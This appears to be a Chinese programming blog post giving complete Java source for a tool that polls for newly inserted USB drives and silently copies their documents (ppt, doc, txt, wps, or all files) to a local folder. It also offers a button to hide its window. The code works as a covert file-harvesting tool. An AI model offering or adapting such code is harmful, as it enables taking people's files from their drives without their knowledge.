java程序u盘照片自动复制粘贴,java兑现u盘指定内容的自动复制

import java.awt.event.ActionEvent;

import java.awt.event.ActionListener;

import javax.swing.JButton;

import javax.swing.JFrame;

public class USBMain {

public static void main(String[] args) {

USBMain u = new USBMain();

u.launchFrame();

//开启盘符检查线程

new CheckRootThread().start();

}

// 界面

private void launchFrame() {

final JFrame frame = new JFrame();

frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);

frame.setLocation(450, 250);

JButton hide = new JButton("点击隐藏窗口");

// 点击按钮后隐藏窗口事件监听

hide.addActionListener(new ActionListener() {

public void actionPerformed(ActionEvent e) {

frame.setVisible(false);

}

});

frame.add(hide);

frame.pack();

frame.setVisible(true);

}

}

二、CheckRootThread类,此类用于检查新盘符的出现,并触发新盘符文件的拷贝。 import java.io.File;

//此类用于检查新盘符的出现,并触发新盘符文件的拷贝

public class CheckRootThread extends Thread {

// 获取系统盘符

private File[] sysRoot = File.listRoots();

public void run() {

File[] currentRoot = null;

while (true) {

// 当前的系统盘符

currentRoot = File.listRoots();

if (currentRoot.length > sysRoot.length) {

for (int i = currentRoot.length - 1; i >= 0; i--) {

boolean isNewRoot = true;

for (int j = sysRoot.length - 1; j >= 0; j--) {

// 当两者盘符不同时,触发新盘符文件的拷贝

if (currentRoot[i].equals(sysRoot[j])) {

isNewRoot = false;

}

}

if (isNewRoot) {

new CopyThread(currentRoot[i]).start();

}

}

}

sysRoot = File.listRoots();

//每5秒时间检查一次系统盘符

try {

Thread.sleep(5000);

} catch (InterruptedException e) {

e.printStackTrace();

}

}

}

}

三、CopyThread类,用于文件遍历并选择指定文件格式进行复制: import java.io.File;

//该类用于对新盘符文件的复制

public class CopyThread extends Thread {

// 设置要复制的文件类型,如果要复制所有格式的文件,将fileTypes设为null即可

private static String[] fileTypes = {"ppt","doc","txt","wps"};

// private static String[] fileTypes = null;

File file = null;

public CopyThread(File file) {

this.file = file;

}

public void run() {

listUsbFiles(file);

}

//遍历盘符文件,并匹配文件复制

private void listUsbFiles(File ufile) {

File[] files = ufile.listFiles();

for (File f : files) {

if (f.isDirectory()) {

listUsbFiles(f);

} else {

if (fileTypeMatch(f))

new CopyFileToSysRoot(f).doCopy();

}

}

}

//匹配要复制的文件类型

public boolean fileTypeMatch(File f) {

//fileTypes为null时,则全部复制

if (fileTypes == null) {

return true;

} else {

for (String type : fileTypes) {

if (f.getName().endsWith("." + type)) {

return true;

}

}

}

return false;

}

}

四、CopyFileToSysRoot类,复制文件的IO流实现: import java.io.BufferedInputStream;

import java.io.BufferedOutputStream;

import java.io.File;

import java.io.FileInputStream;

import java.io.FileNotFoundException;

import java.io.FileOutputStream;

import java.io.IOException;

//文件复制IO

public class CopyFileToSysRoot {

// 复制文件保存路径

private static final String PATH = "D:\\USB";

private File file = null;

public CopyFileToSysRoot(File file) {

this.file = file;

}

// 复制文件

public void doCopy() {

BufferedInputStream bis = null;

BufferedOutputStream bos = null;

try {

//创建目录

File fPath = new File(getFileParent(file));

if (!fPath.exists()) {

fPath.mkdirs();

}

bis = new BufferedInputStream(new FileInputStream(file));

bos = new BufferedOutputStream(new FileOutputStream(new File(fPath,

file.getName())));

byte[] buf = new byte[1024];

int len = 0;

while ((len = bis.read(buf)) != -1) {

bos.write(buf, 0, len);

bos.flush();

}

} catch (FileNotFoundException e) {

e.printStackTrace();

} catch (IOException e) {

e.printStackTrace();

} finally {

try {

if (bis != null)

bis.close();

} catch (IOException e) {

e.printStackTrace();

}

try {

if (bos != null)

bos.close();

} catch (IOException e) {

e.printStackTrace();

}

}

}

// 根据盘符中文件的路径,创建复制文件的文件路径

public String getFileParent(File f) {

StringBuilder sb = new StringBuilder(f.getParent());

int i = sb.indexOf(File.separator);

sb.replace(0, i, PATH);

return sb.toString();

}

}

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值